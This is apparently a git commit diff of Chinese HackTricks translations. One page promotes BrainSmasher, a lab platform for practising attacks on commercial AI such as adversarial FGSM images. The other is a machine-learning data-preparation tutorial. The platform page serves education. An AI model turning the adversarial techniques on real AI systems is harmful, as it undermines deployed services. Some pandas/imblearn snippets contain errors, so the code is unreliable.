Translated ['a.i.-exploiting/bra.i.nsmasher-presentation/README.md', 'a.

This commit is contained in:
Translator 2024-02-04 16:26:04 +00:00
parent d5e8ef98d1
commit d928a210bf
39 changed files with 2118 additions and 3553 deletions

View file

@ -1,48 +1,48 @@
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# 介绍 # 演示
**BrainSmasher** 是一个旨在帮助**渗透测试人员、研究人员、学生、人工智能网络安全工程师**练习和学习所有**利用商业人工智能**应用程序的技术的平台,通过在特别设计的实验室中工作,这些实验室复现了多种系统,如面部识别、语音识别、集成图像分类、自动驾驶、恶意软件逃避、聊天机器人、数据投毒等... **BrainSmasher**是一个旨在帮助**渗透测试人员、研究人员、学生、A.I.网络安全工程师**练习和学习**利用商业A.I.**应用程序的所有技术的平台,通过在专门设计的实验室上工作,复制多个系统,如人脸识别、语音识别、集成图像分类、自主驾驶、恶意软件规避、聊天机器人、数据污染等...
每个月都会发布一个关于商业人工智能应用程序中发现的各种主题的实验室,具有**三种不同难度**(命名为挑战),以便**指导**用户**理解**其背后的所有机制并练习**不同**的**利用**方式 每个月将发布一个关于商业A.I.应用程序中各种主题的实验室,包括**3个不同难度**的挑战,以引导用户**理解**其背后的所有机制,并练习**不同**的**利用**方法
由于人工智能应用程序相对较新,实验室的**更高难度挑战可能没有一些公开已知的利用方式**,所以找到正确的解决方案取决于您。也许有些挑战可能需要将**标准**的**网络安全**技术与**机器**学习对抗性攻击相结合 ;) 由于A.I.应用程序相对较新,实验室的**更难挑战**可能没有一些公开已知的利用方式,因此需要您找到正确的解决方案。也许一些挑战可能需要将“**标准**”**网络安全**技术与**机器** **学习**对抗性攻击相结合 ;)
该平台目前处于**测试版**,在不久的将来还将推出**付费**比赛、**工作**机会发布、**排名**系统、关于多个人工智能利用主题的**教程**,以及通过**提出**个人**实验室**或不同的挑战,为已有的人工智能实验室应用程序,供社区使用,并且还可以提出修改已有挑战,以增强其对各种攻击的鲁棒性,从而**赚取**金钱 该平台目前处于**beta**版本,未来还将推出**付费**比赛、**工作** **机会**发布、**排名**系统、关于多个A.I.利用主题的**教程**,以及通过**提出**个人**实验室**或不同挑战来**赚取** **金钱**的可能性用于已存在的A.I.实验室应用程序,供社区使用,并提出修改已存在挑战的建议,以增强其对各种攻击的鲁棒性
所有**人工智能利用技术和材料将在这里发布**在hacktricks的专门部分。 所有**关于A.I.利用的材料和技术**将在这里发布专门的Hacktricks部分。
**虽然**我们目前处于**测试版**并且正在完成所有上述功能的实现,订阅和所有已发布的实验室及其相关**挑战是免费**。\ **在**我们处于**beta**版本并完成上述所有功能的实施时,订阅和所有已发布的实验室及其相关**挑战是免费**。\
**所以趁你还可以免费学习如何利用人工智能,就在** [**BrA.I.Smasher网站**](https://beta.brainsmasher.eu)\ **因此,趁着可以在** [**BrA.I.Smasher网站**](https://beta.brainsmasher.eu) **免费学习如何利用A.I.**\
享受 ;) 享受 ;)
_非常感谢Hacktricks和Carlos Polop给我们这个机会_ _感谢Hacktricks和Carlos Polop给我们这个机会_
> _Walter Miele 来自 BrA.I.nsmasher_ > _来自BrA.I.nsmasher的Walter Miele_
# 注册挑战 # 注册挑战
为了在 [**BrA.I.Smasher** ](https://beta.brainsmasher.eu)注册,您需要解决一个简单的挑战([**这里**](https://beta.brainsmasher.eu/registrationChallenge))。\ 为了在[**BrA.I.Smasher** ](https://beta.brainsmasher.eu)注册,您需要解决一个简单的挑战([**这里**](https://beta.brainsmasher.eu/registrationChallenge))。\
只需想想您如何在不混淆另一个的同时混淆一个神经网络,知道一个更好地检测熊猫,而另一个则较差... 只需考虑如何混淆一个神经网络,同时不混淆另一个,知道其中一个更好地检测到熊猫,而另一个检测效果较差...
{% hint style="info" %} {% hint style="info" %}
然而,如果您在某个时刻**不知道如何解决**挑战,或者**即使您解决了它**,也请查看官方解决方案在 [**google colab**](https://colab.research.google.com/drive/1MR8i_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing) 但是,如果您**不知道如何解决**挑战,或者**即使解决了**,也可以在[**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing)中查看官方解决方案
{% endhint %} {% endhint %}
我必须告诉您,有**更简单的方法**通过挑战,但这个**解决方案**是**了不起的**,因为您将学习如何通过执行**对抗性图像进行快速梯度符号方法FGSM攻击**来通过挑战。 我必须告诉您,有**更简单的方法**通过挑战,但这个**解决方案**很**棒**,因为您将学会如何通过执行**对抗性图像**执行**快速梯度符号方法FGSM攻击**来通过挑战。
# 更多教程 # 更多教程
@ -53,14 +53,14 @@ _非常感谢Hacktricks和Carlos Polop给我们这个机会_
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为英雄级人物</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式 支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
@ -17,14 +17,14 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为英雄级人物</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式 支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,38 +1,38 @@
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零到英雄学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持 HackTricks 的方式: 其他支持HackTricks的方式
* 如果您想**HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# 可能数据的基本类型 # 可能数据的基本类型
数据可以是 **连续的****无限** 值)或 **分类的**(名义的),其中可能的值数量是 **有限的** 数据可以是**连续的****无限**个值)或**分类的**(名义),其中可能的值的数量是**有限**的
## 分类类型 ## 分类类型
### 二进制 ### 二
只有 **2个可能的值**1 0。如果数据集中值是字符串格式(例如 "True" "False"),您可以使用以下方法为这些值分配数字: 只有**2个可能的值**1或0。如果数据集中值是字符串格式(例如"True"和"False"),您可以为这些值分配数字:
```python ```python
dataset["column2"] = dataset.column2.map({"T": 1, "F": 0}) dataset["column2"] = dataset.column2.map({"T": 1, "F": 0})
``` ```
### **序数** ### **序数**
**值遵循一个顺序**例如第1名、第2名……如果类别是字符串“新手”、“业余”、“专业”、“专家”您可以像我们在二进制案例中看到的那样将它们映射到数字 **数值遵循一定顺序**比如第1名第2名... 如果类别是字符串(比如:"初学者""业余爱好者""专业人士""专家"),你可以将它们映射为数字,就像我们在二进制情况下看到的那样
```python ```python
column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3} column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3}
dataset['column2'] = dataset.column2.map(column2_mapping) dataset['column2'] = dataset.column2.map(column2_mapping)
``` ```
* 对于**字母列**,您可以更容易地对它们进行排序: * 对于**字母列**,您可以更轻松地对其进行排序:
```python ```python
# First get all the uniq values alphabetically sorted # First get all the uniq values alphabetically sorted
possible_values_sorted = dataset.column2.sort_values().unique().tolist() possible_values_sorted = dataset.column2.sort_values().unique().tolist()
@ -40,18 +40,18 @@ possible_values_sorted = dataset.column2.sort_values().unique().tolist()
possible_values_mapping = {value:idx for idx,value in enumerate(possible_values_sorted)} possible_values_mapping = {value:idx for idx,value in enumerate(possible_values_sorted)}
dataset['column2'] = dataset.column2.map(possible_values_mapping) dataset['column2'] = dataset.column2.map(possible_values_mapping)
``` ```
### **周期性** ### **循环的**
看起来**像序数值**因为有一个顺序,但这并不意味着一个比另一个大。同样,它们之间的**距离取决于你计数的方向**。例如:一周的日子,星期日并不比星期一“大”。 看起来像序数值因为有一个顺序,但这并不意味着一个比另一个大。另外,它们之间的距离取决于你计数的方向。例如:一周中的每一天,星期日并不比星期一“大”。
* 有**不同的方法**来编码周期性特征,有些方法可能只适用于某些算法。**通常,可以使用虚拟编码** - 有不同的方法来编码循环特征,有些可能只适用于某些算法。**通常情况下,可以使用虚拟编码**。
```python ```python
column2_dummies = pd.get_dummies(dataset.column2, drop_first=True) column2_dummies = pd.get_dummies(dataset.column2, drop_first=True)
dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1) dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1)
``` ```
### **日期** ### **日期**
日期是**连续的** **变量**。可以被视为**周期性的**(因为它们会重复)**或者**是**序数**变量(因为一个时间点比之前的时间点大)。 日期是**连续**的**变量**。可以被视为**循环**的(因为它们重复)**或**作为**序数**变量(因为一个时间比前一个时间大)。
* 通常日期被用作**索引** * 通常日期被用作**索引**
```python ```python
@ -83,24 +83,24 @@ dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name())
``` ```
### 多类别/名义 ### 多类别/名义
**超过2个类别**,没有相关顺序。使用 `dataset.describe(include='all')` 获取每个特征的类别信息。 **超过2个类别**,没有相关顺序。使用 `dataset.describe(include='all')` 获取每个特征的类别信息。
* **引用字符串**是**标识示例的列**(如一个人的名字)。这可能会重复(因为两个人可能有相同的名字),但大多数将是唯一的。这些数据**无用且应该被移除**。 * **引用字符串**是**标识示例的列**(如人名)。这可能是重复的(因为两个人可能有相同的名字),但大多数是唯一的。这些数据是**无用的,应该被移除**。
* **关键列**用于**链接表之间的数据**。在这种情况下,元素是唯一的。这些数据**无用且应该被移除**。 * **关键列**用于**链接表之间的数据**。在这种情况下,元素是唯一的。这些数据是**无用的,应该被移除**。
要**将多类别列编码为数字**(以便机器学习算法理解它们),**使用虚拟编码**(而**不是独热编码**,因为它**不能避免完全多重共线性**)。 为了**将多类别列编码为数字**(以便机器学习算法理解它们),使用**虚拟编码**(而不是独热编码,因为它**不能避免完美的多重共线性**)。
您可以使用 `pd.get_dummies(dataset.column1)` 获得**独热编码的多类别列**。这将把所有类别转换为二进制特征,因此这将为**每个可能的类别创建一个新列**并为一个列分配1个**True值**,其余的将是假的 您可以使用 `pd.get_dummies(dataset.column1)` **对多类别列进行独热编码**。这将把所有类别转换为二进制特征,因此将为每个可能的类别创建**一个新列**,并将一个**True值分配给一个列**其余将为false
您可以使用 `pd.get_dummies(dataset.column1, drop_first=True)` 获得**虚拟编码的多类别列**。这将把所有类别转换为二进制特征,因此将为**每个可能的类别创建一个新列减去一个**,因为**最后两列将在最后创建的二进制列中反映为“1”或“0”**。这将避免完全多重共线性,减少列之间的关系。 您可以使用 `pd.get_dummies(dataset.column1, drop_first=True)` **对多类别列进行虚拟编码**。这将把所有类别转换为二进制特征,因此将为每个可能的类别创建**一个新列减去一个**,因为**最后两列将在最后创建的二进制列中反映为"1"或"0"**。这将避免完美的多重共线性,减少列之间的关系。
# 共线/多重共线性 # 共线/多重共线性
当**两个特征彼此相关**时会出现共线。当这些特征超过2个时出现多重共线性。 当**2个特征彼此相关**时出现共线性。当这些特征超过2个时出现多重共线性。
在机器学习中,**您希望您的特征与可能的结果相关,但您不希望它们之间相互相关**。这就是为什么**虚拟编码混合了最后两列**,并且**比独热编码更好**,后者不这样做,从而在多类别列的所有新特征之间创建了明显的关系。 在机器学习中,**您希望您的特征与可能的结果相关,但不希望它们之间相关**。这就是为什么**虚拟编码混合最后两列**,比独热编码更好,后者不会创建清晰的关系,而是创建了来自多类别列的所有新特征之间的明显关系。
VIF是**方差膨胀因子**它**衡量特征的多重共线性**。一个**高于5的值意味着应该移除两个或更多共线特征中的一个**。 VIF是**方差膨胀因子**用于**衡量特征的多重共线性**。值**大于5意味着应该移除两个或多个共线特征中的一个**。
```python ```python
from statsmodels.stats.outliers_influence import variance_inflation_factor from statsmodels.stats.outliers_influence import variance_inflation_factor
from statsmodels.tools.tools import add_constant from statsmodels.tools.tools import add_constant
@ -112,7 +112,7 @@ print(pd.Series([variance_inflation_factor(X.values,i) for i in range(X.shape[1]
``` ```
# 类别不平衡 # 类别不平衡
这发生在训练数据中**每个类别的数量不相同**时。 种情况发生在训练数据中**每个类别的数量不相同**时。
```python ```python
# Get statistic of the features # Get statistic of the features
print(dataset.describe(include='all')) print(dataset.describe(include='all'))
@ -121,11 +121,11 @@ print(dataset.info())
# Get imbalance information of the target column # Get imbalance information of the target column
print(dataset.target_column.value_counts()) print(dataset.target_column.value_counts())
``` ```
在不平衡中,总是存在**多数类别**和**少数类别**。 在不平衡的情况下,总会存在**多数类别**和**少数类别**。
有两种主要方法来解决这个问题 解决这个问题有两种主要方法:
* **欠采样**:随机移除多数类别中的数据,使其样本数量与少数类别相同。 - **欠采样**:从多数类别中随机删除数据,使其样本数量与少数类别相同。
```python ```python
from imblearn.under_sampling import RandomUnderSampler from imblearn.under_sampling import RandomUnderSampler
rus = RandomUserSampler(random_state=1337) rus = RandomUserSampler(random_state=1337)
@ -136,7 +136,7 @@ y = dataset.target_column
X_under, y_under = rus.fit_resample(X,y) X_under, y_under = rus.fit_resample(X,y)
print(y_under.value_counts()) #Confirm data isn't imbalanced anymore print(y_under.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
* **Oversampling**:为少数类生成更多数据,直到其样本数量与多数类相同。 * **过采样**:为少数类生成更多数据,直到其样本数量与多数类相同。
```python ```python
from imblearn.under_sampling import RandomOverSampler from imblearn.under_sampling import RandomOverSampler
ros = RandomOverSampler(random_state=1337) ros = RandomOverSampler(random_state=1337)
@ -147,15 +147,15 @@ y = dataset.target_column
X_over, y_over = ros.fit_resample(X,y) X_over, y_over = ros.fit_resample(X,y)
print(y_over.value_counts()) #Confirm data isn't imbalanced anymore print(y_over.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
您可以使用参数 **`sampling_strategy`** 来指定您想要进行**下采样或过采样**的**百分比****默认值是 1100%**,意味着使少数类的数量与多数类的数量相等) 您可以使用参数**`sampling_strategy`**来指示您想要**欠采样或过采样的百分比****默认为1100%**,这意味着将少数类的数量与多数类相等)
{% hint style="info" %} {% hint style="info" %}
下采样或过采样并不完美,如果您获取过采样或下采样数据的统计信息(使用 `.describe()`)并将其与原始数据进行比较,您会看到**它们发生了变化**。因此,过采样和下采样正在修改训练数据。 如果您获取过/欠采样数据的统计信息(使用`.describe()`),并将其与原始数据进行比较,您会发现**它们已经改变**。因此,过采样和欠采样会修改训练数据。
{% endhint %} {% endhint %}
## SMOTE 过采样 ## SMOTE 过采样
**SMOTE** 通常是一种**更可靠的过采样数据方式**。 **SMOTE**通常是一种**更可靠的过采样数据的方法**。
```python ```python
from imblearn.over_sampling import SMOTE from imblearn.over_sampling import SMOTE
@ -166,50 +166,48 @@ dataset_smote = pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3'])
dataset['target_column'] = y_smote dataset['target_column'] = y_smote
print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore
``` ```
# 罕见类别 # 很少出现的类别
想象一个数据集,其中一个目标类别**出现的次数非常少**。 想象一下一个数据集,其中一个目标类别**出现的次数非常少**。
类似于上一节中的类别不平衡,但罕见类别的出现次数甚至比那种情况下的“少数类”还要少。**原始**的**过采样**和**欠采样**方法也可以在这里使用,但通常这些技术**不会给出真正好的结果**。 就像前一节中的类别不平衡问题,但是很少出现的类别甚至比那种情况下的“少数类”出现的次数还要少。**原始**的**过采样**和**欠采样**方法也可以在这里使用,但通常这些技术**不会给出真正好的结果**。
## 权重 ## 权重
某些算法中,可以**修改目标数据的权重**,因此在生成模型时,默认情况下某些数据会更重要 一些算法中,可以**修改目标数据的权重**,这样在生成模型时,一些数据会默认获得更多的重要性
```python ```python
weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True
model = LogisticRegression(class_weight=weights) model = LogisticRegression(class_weight=weights)
``` ```
你可以**将权重与过采样/欠采样技术混合**,尝试改善结果。 ## 主成分分析PCA
## PCA - 主成分分析 是一种有助于减少数据维度的方法。它将**结合不同特征**以**减少**它们的数量,生成**更有用的特征**_需要更少的计算_
这是一种帮助降低数据维度的方法。它将**结合不同特征**以**减少**它们的数量,生成**更有用的特征**_减少了计算需求_ 生成的特征对人类来说是不可理解的,因此它还**对数据进行匿名化**。
结果特征对人类来说是不可理解的,因此它也**匿名化了数据**。
# 不一致的标签类别 # 不一致的标签类别
数据可能因为转换不成功或仅仅是人为输入错误而出现错误。 数据可能存在错误,可能是由于转换失败,也可能是由于人为错误。
因此,你可能会发现**相同的标签有拼写错误**,不同的**大小写****缩写**例如_BLUE, Blue, b, bule_。在训练模型之前你需要修正数据中的这些标签错误。 因此,您可能会发现**相同标签存在拼写错误**、**不同大小写**、**缩写**例如_BLUEBluebbule。在训练模型之前您需要修复数据中的这些标签错误。
可以通过将所有内容转换为小写并将拼写错误的标签映射到正确的标签来清理这些问题。 可以通过将所有内容转换为小写并将拼写错误的标签映射到正确的标签来清理这些问题。
非常重要的是要检查**你拥有的所有数据是否都被正确标记**,因为例如,数据中的一个拼写错误,在对类别进行虚拟编码时,将在最终特征中生成一个新列,**对最终模型产生不良后果**。这个例子可以通过对一列进行独热编码并检查创建的列的名称来很容易地检测到 非常重要的是要检查**您拥有的所有数据是否被正确标记**,因为例如,数据中的一个拼写错误,在对类别进行虚拟编码时,将在最终特征中生成一个新列,对最终模型会产生**不良后果**。通过对一个列进行独热编码并检查所创建列的名称,可以非常容易地检测到这种情况
# 缺失数据 # 缺失数据
研究中的某些数据可能缺失 研究中可能会缺少一些数据
可能发生某些完全随机的数据因某些错误而缺失。这种数据是**完全随机缺失****MCAR** 可能会发生一些完全随机的数据丢失,这是一种**完全随机缺失****MCAR**)的情况
可能某些随机数据缺失,但有某些因素使得某些特定细节更可能缺失,例如,男性更频繁地报告他们的年龄,而女性则不然。这被称为**随机缺失****MAR**)。 也可能是一些随机数据丢失,但有一些因素使得某些特定细节更有可能丢失,例如更频繁地男性会告诉他们的年龄而女性不会。这被称为**随机缺失****MAR**)。
最后,可能有数据**非随机缺失****MNAR**)。数据的价值直接与拥有数据的概率相关。例如,如果你想测量一些尴尬的事情,某人越尴尬,他分享的可能性就越小。 最后,可能存在**非随机缺失****MNAR**)的数据。数据的值与拥有数据的概率直接相关。例如,如果您想测量某些令人尴尬的事情,某人越尴尬,他分享的可能性就越小。
前**两类**缺失数据可以是**可以忽略的**。但是**第三类**需要考虑**只使用未受影响的数据部分**或尝试**以某种方式对缺失数据进行建模**。 **前两类**缺失数据可以被**忽略**。但**第三类**需要考虑**只有部分未受影响的数据**或尝试**以某种方式对缺失数据进行建模**。
发现缺失数据的一种方法是使用`.info()`函数,因为它会指示**行数但也会指示每个类别的值的数量**。如果某个类别的值少于行数,那么就有一些数据缺失: 发现缺失数据的一种方法是使用`.info()`函数,因为它将指示**每个类别的值的数量**。如果某个类别的值少于行数,则存在一些数据缺失:
```bash ```bash
# Get info of the dataset # Get info of the dataset
dataset.info() dataset.info()
@ -217,29 +215,29 @@ dataset.info()
# Drop all rows where some value is missing # Drop all rows where some value is missing
dataset.dropna(how='any', axis=0).info() dataset.dropna(how='any', axis=0).info()
``` ```
通常建议,如果一个特征在数据集中**缺失超过20%**,则应该**移除该列:** 通常建议,如果数据集中**超过20%的数据缺失**,则应**删除该列:**
```bash ```bash
# Remove column # Remove column
dataset.drop('Column_name', axis='columns', inplace=True) dataset.drop('Column_name', axis='columns', inplace=True)
dataset.info() dataset.info()
``` ```
{% hint style="info" %} {% hint style="info" %}
请注意,并非所有缺失值都在数据集中缺失。可能缺失值被赋予了“Unknown”、“n/a”、“”-10等值。您需要检查数据集(使用`dataset.column_name.value_counts(dropna=False)`来检查可能的值)。 请注意,**数据集中并非所有缺失值都是缺失的**。可能缺失值已被赋予值为"Unknown"、"n/a"、""、-1、0等。您需要检查数据集(使用`dataset.column_name.value_counts(dropna=False)`来检查可能的值)。
{% endhint %} {% endhint %}
如果数据集中某些数据缺失(并且数量不多),您需要找到**缺失数据的类别**。为此,您基本上需要知道**数据是否是随机缺失的**,为此您需要找出**缺失数据是否与数据集的其他数据相关**。 如果数据集中有一些数据缺失(而不是太多),您需要找到**缺失数据的类别**。基本上,您需要知道**缺失数据是否是随机的**,为此您需要找出**缺失数据是否与数据集的其他数据相关**。
要找出缺失值是否与另一列相关,您可以创建一个新列,如果数据缺失则标记为1否则为0,然后计算它们之间的相关性: 要找出缺失值是否与另一列相关,您可以创建一个新列,如果数据缺失或不缺失则将1和0放入该列,然后计算它们之间的相关性:
```bash ```bash
# The closer it's to 1 or -1 the more correlated the data is # The closer it's to 1 or -1 the more correlated the data is
# Note that columns are always perfectly correlated with themselves. # Note that columns are always perfectly correlated with themselves.
dataset[['column_name', 'cloumn_missing_data']].corr() dataset[['column_name', 'cloumn_missing_data']].corr()
``` ```
如果您决定忽略缺失数据,您仍然需要处理它:您可以**删除**包含缺失数据的行(模型的训练数据会减少),您可以**完全删除该特征**,或者可以**对其建模**。 如果您决定忽略缺失数据,仍然需要处理它:您可以**删除**具有缺失数据的行(模型的训练数据将更少),您可以完全**删除该特征**,或者可以**对其进行建模**。
